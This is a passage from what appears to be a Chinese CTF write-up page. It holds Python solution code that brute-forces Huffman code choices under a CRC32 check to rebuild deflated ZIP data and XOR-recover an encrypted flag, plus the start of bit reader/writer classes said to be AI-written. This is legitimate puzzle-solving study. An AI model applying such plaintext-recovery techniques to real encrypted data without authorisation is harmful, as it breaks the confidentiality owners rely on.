<span><span style="color: #403F53">        flags_flag3 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">bytes</span><span style="color: #403F53">(</span><span style="color: #4876D6">a </span><span style="color: #994CC3">^</span><span style="color: #4876D6"> b </span><span style="color: #994CC3">^</span><span style="color: #4876D6"> c </span><span style="color: #994CC3">for</span><span style="color: #4876D6"> a</span><span style="color: #111111">,</span><span style="color: #4876D6"> b</span><span style="color: #111111">,</span><span style="color: #4876D6"> c </span><span style="color: #994CC3">in</span><span style="color: #4876D6"> zip</span><span style="color: #403F53">(</span></span>
<span><span style="color: #4876D6">            flags_encrypted</span><span style="color: #403F53">[</span><span style="color: #4876D6">data2_offset:</span><span style="color: #403F53">]</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">            zip_encrypted</span><span style="color: #403F53">[</span><span style="color: #4876D6">data2_offset:</span><span style="color: #403F53">]</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">            deflated</span><span style="color: #111111">,</span></span>
<span><span style="color: #4876D6">        </span><span style="color: #403F53">))</span></span>
<span><span style="color: #403F53">        tqdm.</span><span style="color: #0C969B">write</span><span style="color: #403F53">(</span><span style="color: #4876D6">str</span><span style="color: #403F53">(</span><span style="color: #4876D6">flags_flag3</span><span style="color: #403F53">))</span></span>
<span><span style="color: #403F53">        match </span><span style="color: #994CC3">=</span><span style="color: #403F53"> re.</span><span style="color: #0C969B">search</span><span style="color: #403F53">(</span><span style="color: #994CC3">br</span><span style="color: #111111">&#39;</span><span style="color: #5CA7E4">flag</span><span style="color: #AA0982">\{</span><span style="color: #5CA7E4">.</span><span style="color: #0C969B">+?</span><span style="color: #AA0982">\}</span><span style="color: #111111">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> flags_flag3</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">if</span><span style="color: #403F53"> match </span><span style="color: #994CC3">is</span><span style="color: #403F53"> </span><span style="color: #BC5454">None</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">            </span><span style="color: #994CC3">continue</span></span>
<span><span style="color: #403F53">        flag3 </span><span style="color: #994CC3">=</span><span style="color: #403F53"> match.</span><span style="color: #0C969B">group</span><span style="color: #403F53">(</span><span style="color: #AA0982">0</span><span style="color: #403F53">).</span><span style="color: #0C969B">decode</span><span style="color: #403F53">()</span></span>
<span><span style="color: #403F53">        tqdm.</span><span style="color: #0C969B">write</span><span style="color: #403F53">(</span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;</span><span style="color: #4876D6">{flag3 = }</span><span style="color: #C96765">&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">break</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #D6DEEB">deflate_info </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">parse_deflate_dynamic_header</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">data2_head</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">3</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #D6DEEB">litlen_tree </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> deflate_info[</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">litlen_tree</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">]</span></span>
<span><span style="color: #D6DEEB">l14 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">0</span></span>
<span><span style="color: #D6DEEB">l15 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">0</span></span>
<span><span style="color: #D6DEEB">c14 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> (</span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">, </span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">c15 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> (</span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">, </span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">eob_code </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> (</span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">, </span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #C5E478">print</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">literal codes:</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> code, sym </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> litlen_tree.</span><span style="color: #B2CCD6">items</span><span style="color: #D6DEEB">():</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> sym </span><span style="color: #C792EA">&lt;</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">256</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C5E478">print</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">f</span><span style="color: #ECC48D">&#39;</span><span style="color: #82AAFF">{sym}</span><span style="color: #ECC48D">: </span><span style="color: #82AAFF">{code}</span><span style="color: #ECC48D">&#39;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> code[</span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">] </span><span style="color: #C792EA">==</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">14</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">            l14 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> sym</span></span>
<span><span style="color: #D6DEEB">            c14 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> code</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">elif</span><span style="color: #D6DEEB"> code[</span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">] </span><span style="color: #C792EA">==</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">15</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">            l15 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> sym</span></span>
<span><span style="color: #D6DEEB">            c15 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> code</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">elif</span><span style="color: #D6DEEB"> sym </span><span style="color: #C792EA">==</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">256</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">        eob_code </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> code</span></span>
<span></span>
<span><span style="color: #D6DEEB">n </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> lfh2.uncompressed_size</span></span>
<span><span style="color: #D6DEEB">deflate_header_len </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> deflate_info[</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">bits_consumed</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">] </span><span style="color: #C792EA">+</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">3</span></span>
<span><span style="color: #D6DEEB">max_total_lit_len </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> lfh2.compressed_size </span><span style="color: #C792EA">*</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">8</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">-</span><span style="color: #D6DEEB"> deflate_header_len </span><span style="color: #C792EA">-</span><span style="color: #D6DEEB"> eob_code[</span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">]</span></span>
<span><span style="color: #D6DEEB">min_total_lit_len </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> max_total_lit_len </span><span style="color: #C792EA">-</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">7</span></span>
<span><span style="color: #D6DEEB">all_15_len </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">15</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">*</span><span style="color: #D6DEEB"> n</span></span>
<span><span style="color: #C5E478">print</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">f</span><span style="color: #ECC48D">&#39;</span><span style="color: #82AAFF">{min_total_lit_len = }</span><span style="color: #ECC48D">, </span><span style="color: #82AAFF">{all_15_len = }</span><span style="color: #ECC48D">&#39;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">min_14_count </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> all_15_len </span><span style="color: #C792EA">-</span><span style="color: #D6DEEB"> max_total_lit_len</span></span>
<span><span style="color: #D6DEEB">max_14_count </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> all_15_len </span><span style="color: #C792EA">-</span><span style="color: #D6DEEB"> min_total_lit_len</span></span>
<span></span>
<span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> mask </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">tqdm</span><span style="color: #D6DEEB">(</span><span style="color: #C5E478">range</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">1</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">&lt;&lt;</span><span style="color: #82AAFF"> n</span><span style="color: #D6DEEB">)):</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">not</span><span style="color: #D6DEEB"> min_14_count </span><span style="color: #C792EA">&lt;=</span><span style="color: #D6DEEB"> mask.</span><span style="color: #B2CCD6">bit_count</span><span style="color: #D6DEEB">() </span><span style="color: #C792EA">&lt;=</span><span style="color: #D6DEEB"> max_14_count:</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">continue</span></span>
<span><span style="color: #D6DEEB">    data </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">bytes</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">l14 </span><span style="color: #C792EA">if</span><span style="color: #82AAFF"> (mask </span><span style="color: #C792EA">&gt;&gt;</span><span style="color: #82AAFF"> i) </span><span style="color: #C792EA">&amp;</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">1</span><span style="color: #82AAFF"> </span><span style="color: #C792EA">else</span><span style="color: #82AAFF"> l15 </span><span style="color: #C792EA">for</span><span style="color: #82AAFF"> i </span><span style="color: #C792EA">in</span><span style="color: #82AAFF"> </span><span style="color: #C5E478">range</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">n</span><span style="color: #D6DEEB">))</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">crc32</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">data</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">==</span><span style="color: #D6DEEB"> lfh2.crc32:</span></span>
<span><span style="color: #D6DEEB">        bits </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">BitWriter</span><span style="color: #D6DEEB">()</span></span>
<span><span style="color: #D6DEEB">        bits.bytes.</span><span style="color: #B2CCD6">extend</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">data2_head</span><span style="color: #D6DEEB">[</span><span style="color: #82AAFF">:deflate_header_len </span><span style="color: #C792EA">//</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">8</span><span style="color: #D6DEEB">])</span></span>
<span><span style="color: #D6DEEB">        bits.bit_count </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> deflate_header_len </span><span style="color: #C792EA">%</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">8</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> bits.bit_count </span><span style="color: #C792EA">!=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">            bits.current_byte </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> data2_head[deflate_header_len </span><span style="color: #C792EA">//</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">8</span><span style="color: #D6DEEB">] </span><span style="color: #C792EA">&amp;</span><span style="color: #D6DEEB"> ((</span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">&lt;&lt;</span><span style="color: #D6DEEB"> bits.bit_count) </span><span style="color: #C792EA">-</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> i </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">range</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">n</span><span style="color: #D6DEEB">):</span></span>
<span><span style="color: #D6DEEB">            code </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> c14 </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> (mask </span><span style="color: #C792EA">&gt;&gt;</span><span style="color: #D6DEEB"> i) </span><span style="color: #C792EA">&amp;</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">else</span><span style="color: #D6DEEB"> c15</span></span>
<span><span style="color: #D6DEEB">            bits.</span><span style="color: #B2CCD6">write_bits</span><span style="color: #D6DEEB">(</span><span style="color: #7FDBCA">*</span><span style="color: #82AAFF">code</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">        bits.</span><span style="color: #B2CCD6">write_bits</span><span style="color: #D6DEEB">(</span><span style="color: #7FDBCA">*</span><span style="color: #82AAFF">eob_code</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">        deflated </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> bits.</span><span style="color: #B2CCD6">get_bytes</span><span style="color: #D6DEEB">()</span></span>
<span><span style="color: #D6DEEB">        flags_flag3 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">bytes</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">a </span><span style="color: #C792EA">^</span><span style="color: #82AAFF"> b </span><span style="color: #C792EA">^</span><span style="color: #82AAFF"> c </span><span style="color: #C792EA">for</span><span style="color: #82AAFF"> a</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> b</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> c </span><span style="color: #C792EA">in</span><span style="color: #82AAFF"> </span><span style="color: #C5E478">zip</span><span style="color: #D6DEEB">(</span></span>
<span><span style="color: #82AAFF">            flags_encrypted</span><span style="color: #D6DEEB">[</span><span style="color: #82AAFF">data2_offset:</span><span style="color: #D6DEEB">]</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">            zip_encrypted</span><span style="color: #D6DEEB">[</span><span style="color: #82AAFF">data2_offset:</span><span style="color: #D6DEEB">]</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">            deflated</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">        </span><span style="color: #D6DEEB">))</span></span>
<span><span style="color: #D6DEEB">        tqdm.</span><span style="color: #B2CCD6">write</span><span style="color: #D6DEEB">(</span><span style="color: #C5E478">str</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">flags_flag3</span><span style="color: #D6DEEB">))</span></span>
<span><span style="color: #D6DEEB">        match </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> re.</span><span style="color: #B2CCD6">search</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">br</span><span style="color: #D9F5DD">&#39;</span><span style="color: #5CA7E4">flag</span><span style="color: #F78C6C">\{</span><span style="color: #5CA7E4">.</span><span style="color: #7FDBCA">+?</span><span style="color: #F78C6C">\}</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> flags_flag3</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> match </span><span style="color: #C792EA">is</span><span style="color: #D6DEEB"> </span><span style="color: #FF5874">None</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C792EA">continue</span></span>
<span><span style="color: #D6DEEB">        flag3 </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> match.</span><span style="color: #B2CCD6">group</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">).</span><span style="color: #B2CCD6">decode</span><span style="color: #D6DEEB">()</span></span>
<span><span style="color: #D6DEEB">        tqdm.</span><span style="color: #B2CCD6">write</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">f</span><span style="color: #ECC48D">&#39;</span><span style="color: #82AAFF">{flag3 = }</span><span style="color: #ECC48D">&#39;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">break</span></span></code></pre></div></section>
<p>DEFLATE header 的解析是纯 AI 写的<span class="mojikumi-line-end">：</span></p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h4 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Python 代码块" data-v-c675dba6>Python</h4><ile-root id="ile-15"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-15--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #994CC3">from</span><span style="color: #403F53"> typing </span><span style="color: #994CC3">import</span><span style="color: #403F53"> Tuple, Dict, List</span></span>
<span></span>
<span><span style="color: #994CC3">class</span><span style="color: #403F53"> </span><span style="color: #111111">BitReader</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">__init__</span><span style="color: #111111">(</span><span style="color: #0C969B">self</span><span style="color: #403F53">, </span><span style="color: #0C969B">data</span><span style="color: #403F53">: </span><span style="color: #4876D6">bytes</span><span style="color: #403F53">, </span><span style="color: #0C969B">bitpos</span><span style="color: #403F53">: </span><span style="color: #4876D6">int</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #AA0982">0</span><span style="color: #111111">)</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">        </span><span style="color: #AA0982">self</span><span style="color: #403F53">.data </span><span style="color: #994CC3">=</span><span style="color: #403F53"> data</span></span>
<span><span style="color: #403F53">        </span><span style="color: #AA0982">self</span><span style="color: #403F53">.bytepos </span><span style="color: #994CC3">=</span><span style="color: #403F53"> bitpos </span><span style="color: #994CC3">//</span><span style="color: #403F53"> </span><span style="color: #AA0982">8</span></span>
<span><span style="color: #403F53">        </span><span style="color: #AA0982">self</span><span style="color: #403F53">.bitpos </span><span style="color: #994CC3">=</span><span style="color: #403F53"> bitpos </span><span style="color: #994CC3">%</span><span style="color: #403F53"> </span><span style="color: #AA0982">8</span><span style="color: #403F53">  </span><span style="color: #989FB1"># 0..7, LSB-first within each byte (deflate)</span></span>
<span><span style="color: #403F53">        </span><span style="color: #AA0982">self</span><span style="color: #403F53">.total_bits_read </span><span style="color: #994CC3">=</span><span style="color: #403F53"> bitpos</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">read_bits</span><span style="color: #111111">(</span><span style="color: #0C969B">self</span><span style="color: #403F53">, </span><span style="color: #0C969B">n</span><span style="color: #403F53">: </span><span style="color: #4876D6">int</span><span style="color: #111111">)</span><span style="color: #403F53"> -&gt; </span><span style="color: #4876D6">int</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">        </span><span style="color: #111111">&quot;&quot;&quot;</span><span style="color: #C96765">Read n bits (n &lt;= 32) and return as integer (LSB-first).</span><span style="color: #111111">&quot;&quot;&quot;</span></span>
<span><span style="color: #403F53">        val </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #AA0982">0</span></span>
<span><span style="color: #403F53">        bits_read </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #AA0982">0</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">while</span><span style="color: #403F53"> bits_read </span><span style="color: #994CC3">&lt;</span><span style="color: #403F53"> n:</span></span>
<span><span style="color: #403F53">            </span><span style="color: #994CC3">if</span><span style="color: #403F53"> </span><span style="color: #AA0982">self</span><span style="color: #403F53">.bytepos </span><span style="color: #994CC3">&gt;=</span><span style="color: #403F53"> </span><span style="color: #4876D6">len</span><span style="color: #403F53">(</span><span style="color: #AA0982">self</span><span style="color: #4876D6">.data</span><span style="color: #403F53">):</span></span>
<span><span style="color: #403F53">                </span><span style="color: #994CC3">raise</span><span style="color: #403F53"> </span><span style="color: #4876D6">EOFError</span><span style="color: #403F53">(</span><span style="color: #111111">&quot;</span><span style="color: #C96765">Not enough data while reading bits</span><span style="color: #111111">&quot;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">            avail </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #AA0982">8</span><span style="color: #403F53"> </span><span style="color: #994CC3">-</span><span style="color: #403F53"> </span><span style="color: #AA0982">self</span><span style="color: #403F53">.bitpos</span></span>
<span><span style="color: #403F53">            take </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">min</span><span style="color: #403F53">(</span><span style="color: #4876D6">n </span><span style="color: #994CC3">-</span><span style="color: #4876D6"> bits_read</span><span style="color: #111111">,</span><span style="color: #4876D6"> avail</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">            current_byte </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #AA0982">self</span><span style="color: #403F53">.data[</span><span style="color: #AA0982">self</span><span style="color: #403F53">.bytepos]</span></span>
<span><span style="color: #403F53">            </span><span style="color: #989FB1"># extract bits (LSB-first)</span></span>
<span><span style="color: #403F53">            chunk </span><span style="color: #994CC3">=</span><span style="color: #403F53"> (current_byte </span><span style="color: #994CC3">&gt;&gt;</span><span style="color: #403F53"> </span><span style="color: #AA0982">self</span><span style="color: #403F53">.bitpos) </span><span style="color: #994CC3">&amp;</span><span style="color: #403F53"> ((</span><span style="color: #AA0982">1</span><span style="color: #403F53"> </span><span style="color: #994CC3">&lt;&lt;</span><span style="color: #403F53"> take) </span><span style="color: #994CC3">-</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">            val </span><span style="color: #994CC3">|=</span><span style="color: #403F53"> chunk </span><span style="color: #994CC3">&lt;&lt;</span><span style="color: #403F53"> bits_read</span></span>
<span><span style="color: #403F53">            bits_read </span><span style="color: #994CC3">+=</span><span style="color: #403F53"> take</span></span>
<span><span style="color: #403F53">            </span><span style="color: #AA0982">self</span><span style="color: #403F53">.bitpos </span><span style="color: #994CC3">+=</span><span style="color: #403F53"> take</span></span>
<span><span style="color: #403F53">            </span><span style="color: #AA0982">self</span><span style="color: #403F53">.total_bits_read </span><span style="color: #994CC3">+=</span><span style="color: #403F53"> take</span></span>
<span><span style="color: #403F53">            </span><span style="color: #994CC3">if</span><span style="color: #403F53"> </span><span style="color: #AA0982">self</span><span style="color: #403F53">.bitpos </span><span style="color: #994CC3">==</span><span style="color: #403F53"> </span><span style="color: #AA0982">8</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">                </span><span style="color: #AA0982">self</span><span style="color: #403F53">.bitpos </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #AA0982">0</span></span>
<span><span style="color: #403F53">                </span><span style="color: #AA0982">self</span><span style="color: #403F53">.bytepos </span><span style="color: #994CC3">+=</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">return</span><span style="color: #403F53"> val</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">get_bitpos</span><span style="color: #111111">(</span><span style="color: #0C969B">self</span><span style="color: #111111">)</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">return</span><span style="color: #403F53"> </span><span style="color: #AA0982">self</span><span style="color: #403F53">.total_bits_read</span></span>
<span></span>
<span><span style="color: #994CC3">class</span><span style="color: #403F53"> </span><span style="color: #111111">BitWriter</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">__init__</span><span style="color: #111111">(</span><span style="color: #0C969B">self</span><span style="color: #111111">)</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">        </span><span style="color: #AA0982">self</span><span style="color: #403F53">.bytes </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">bytearray</span><span style="color: #403F53">()</span></span>
<span><span style="color: #403F53">        </span><span style="color: #AA0982">self</span><span style="color: #403F53">.current_byte </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #AA0982">0</span></span>
<span><span style="color: #403F53">        </span><span style="color: #AA0982">self</span><span style="color: #403F53">.bit_count </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #AA0982">0</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">write_bits</span><span style="color: #111111">(</span><span style="color: #0C969B">self</span><span style="color: #403F53">, </span><span style="color: #0C969B">value</span><span style="color: #403F53">: </span><span style="color: #4876D6">int</span><span style="color: #403F53">, </span><span style="color: #0C969B">num_bits</span><span style="color: #403F53">: </span><span style="color: #4876D6">int</span><span style="color: #111111">)</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">for</span><span style="color: #403F53"> i </span><span style="color: #994CC3">in</span><span style="color: #403F53"> </span><span style="color: #4876D6">range</span><span style="color: #403F53">(</span><span style="color: #4876D6">num_bits</span><span style="color: #403F53">):</span></span>
<span><span style="color: #403F53">            bit </span><span style="color: #994CC3">=</span><span style="color: #403F53"> (value </span><span style="color: #994CC3">&gt;&gt;</span><span style="color: #403F53"> i) </span><span style="color: #994CC3">&amp;</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span></span>
<span><span style="color: #403F53">            </span><span style="color: #AA0982">self</span><span style="color: #403F53">.current_byte </span><span style="color: #994CC3">|=</span><span style="color: #403F53"> bit </span><span style="color: #994CC3">&lt;&lt;</span><span style="color: #403F53"> </span><span style="color: #AA0982">self</span><span style="color: #403F53">.bit_count</span></span>
<span><span style="color: #403F53">            </span><span style="color: #AA0982">self</span><span style="color: #403F53">.bit_count </span><span style="color: #994CC3">+=</span><span style="color: #403F53"> </span><span style="color: #AA0982">1</span></span>
<span></span>
<span><span style="color: #403F53">            </span><span style="color: #994CC3">if</span><span style="color: #403F53"> </span><span style="color: #AA0982">self</span><span style="color: #403F53">.bit_count </span><span style="color: #994CC3">==</span><span style="color: #403F53"> </span><span style="color: #AA0982">8</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">                </span><span style="color: #AA0982">self</span><span style="color: #403F53">.bytes.</span><span style="color: #0C969B">append</span><span style="color: #403F53">(</span><span style="color: #AA0982">self</span><span style="color: #4876D6">.current_byte</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">                </span><span style="color: #AA0982">self</span><span style="color: #403F53">.current_byte </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #AA0982">0</span></span>
<span><span style="color: #403F53">                </span><span style="color: #AA0982">self</span><span style="color: #403F53">.bit_count </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #AA0982">0</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">get_bytes</span><span style="color: #111111">(</span><span style="color: #0C969B">self</span><span style="color: #111111">)</span><span style="color: #403F53"> -&gt; </span><span style="color: #4876D6">bytes</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">if</span><span style="color: #403F53"> </span><span style="color: #AA0982">self</span><span style="color: #403F53">.bit_count </span><span style="color: #994CC3">&gt;</span><span style="color: #403F53"> </span><span style="color: #AA0982">0</span><span style="color: #403F53">:</span></span>
